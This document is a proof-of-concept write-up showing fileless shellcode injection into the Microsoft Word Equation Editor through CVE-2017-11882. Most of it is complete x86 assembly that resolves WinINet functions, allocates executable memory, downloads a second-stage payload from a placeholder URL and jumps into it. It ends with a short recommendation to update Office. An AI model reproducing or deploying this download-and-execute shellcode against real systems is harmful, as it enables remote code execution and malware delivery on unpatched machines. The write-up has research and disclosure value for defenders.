Introduction
In this POC we are going to demostrate how to perform a fileless code injection into EQNEDT32.EXE (Microsoft Word Equation Editor) .
We are going to use the unamer implementation (https://github.com/unamer/CVE-2017-11882 ) (605 bytes) to inject our shellcode into the vulnerable Microsoft Word component.
Idea
The idea is to use the WinINet functions to download a shellcode from internet, but directly into the memory of the process without using any intermediate file.
In this POC we have been able to perform this using these functions:
VirtualAlloc: To allocate memory in order to fill it directly with the downloaded shellcode
InternetOpenA: Initializes an application's use of the WinINet functions
InternetOpenUrlA: Opens a resource specified by a complete FTP or HTTP URL.
InternetReadFile: We will download the shellcode in 2000 bytes chunks directly into the allocated memory.
POC - Code
.Code
start:
init:
Mov Ebx, Ecx
jmp @_0
WinINetStr:
szWininet db 'wininet', 0
InternetOpenStr:
szWin3 db 'InternetOpenA', 0
InternetOpenAddr:
dwInternetOpen dd 0
InternetOpenUrlStr:
szInternetOpenUrlStr db 'InternetOpenUrlA', 0
InternetOpenUrlAddr:
dwInternetOpenUrl dd 0
InternetReadFileStr:
szInternetReadFile db 'InternetReadFile', 0
InternetReadFileAddr:
dwInternetReadFile dd 0
URLOpen:
szURL db 'http://[domain/file]', 0
UserAgent:
szUserAgent db 'CVE-2017-11882 - Word Exploit - User Agent', 0
BytesRead:
dwBytesRead dd 0
@_0:
; ecx = start address
mov edi, 4668A4h ; LoadLibraryA
; call LoadLibrary("wininet") without .dll
lea edx, [ebx+(WinINetStr - init)]
push edx
call DWord Ptr [Edi] ; call LoadLibrary
push eax ; Save WinInitHandle in the stack
; Call GetProcAddress looking for "InternetOpen"
lea edx, [ebx+(InternetOpenStr - init)]
push edx ; "InternetOpen"
push eax ; WinInitHandle
sub edi, 14h ; GetProcAddress
call DWord Ptr [Edi] ; Call GetProcAddress
; Save the result into InternetOpenAddr
mov [ebx+(InternetOpenAddr-init)], eax
Pop Eax ; Recover WinInitHandle
Push Eax ; Save WinInitHandle
; Call to GetProcAddres looking for "InternetOpenUrl"
lea edx, [ebx+(InternetOpenUrlStr - init)]
push edx ; "InternetOpenUrl"
push eax ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress
; Save the result into InternetOpenUrlAddr
mov [ebx+(InternetOpenUrlAddr-init)], eax
Pop Eax ; Recover WinInitHandle
; Call to GetProcAddress looking for "InternetReadFile"
;mov eax, [ebx+(WinInitHandle - init)]
lea edx, [ebx+(InternetReadFileStr - init)]
push edx ; "InternetReadFile"
push eax ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress
; Save the result into InternetReadFileAddr
mov [ebx+(InternetReadFileAddr-init)], eax
; Clean esi
xor esi, esi
; Call to VirtualAlloc
push 40h ; PAGE_EXECUTE_READWRITE
push 3000h ; 0x1000 (MEMCOMMIT) and 0x2000 (MEMRESERVE)
push 19000h ; size
push esi ; lpAddress
mov edi, 4667D8h ; VirtualAllocAddr
Call DWord Ptr [Edi] ; Call VirtualAlloc
Push Eax ; Save eax (Memory allocated Start Address) from VirtualAlloc into Stack
; Call to InternetOpenAddr
lea edx, [ebx+(UserAgent - init)] ; UserAgent
push esi ; NULL
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; UserAgent
mov edi, [ebx+(InternetOpenAddr - init)]
call edi ; Call to InternetOpenAddr
; Call to InternetOpenUrl
lea edx, [ebx+(URLOpen - init)]
push esi ; NULL
push INTERNET_FLAG_EXISTING_CONNECT
push esi ; NULL
push esi ; NULL
push edx ; URL
push eax ; InternetOpenHandle
mov edi, [ebx+(InternetOpenUrlAddr - init)]
call edi ; Call to InternetOpenUrl
Mov Edi, [Ebx + (InternetReadFileAddr - init)]
Pop Edx ; Start Address memory alloc
Lea Esi, [Ebx + (BytesRead - init)]
Push Edx ; Save Start Address of memory allocated
ReadFileInit:
Push Edx ; Save Start Address of memory allocated (Buffer)
Push Eax ; Save Handle of InternetOpenUrl
push esi ; Pointer to a variable that receives the number of bytes readed
Push 2000 ; Size Number of bytes to be read
push edx ; Buffer
push eax ; InternetOpenUrlHandle
Call Edi
Pop Eax ; Recover Handle of InternetOpenUrl
Pop Edx ; Recover Start Address of memory allocated (Buffer)
Add Edx, [Esi] ; Modifies buffer
cmp DWord Ptr [Esi], 2000
jz ReadFileInit
Pop Edx ; Recover Start Address of the allocated memory
Jmp Edx ; Jump into the fileless code
; To know the size of the shellcode
_critical:
Mov Eax, (_critical - init)
End start
Conclusion
As we have demostrated in this POC, is possible to perform a fileless code injection.
We recomend everyone to UPDATE Microsoft Office in order to be protected against this vulnerability.
Acknowledgment
Embedy Company (https://github.com/embedi/CVE-2017-11882)
unamer (https://github.com/unamer/CVE-2017-11882)
@ValthekOn (https://29wspy.ru/reversing/CVE-2017-11882.pdf)
@D00RT_RM
Author: @51ddh4r7h4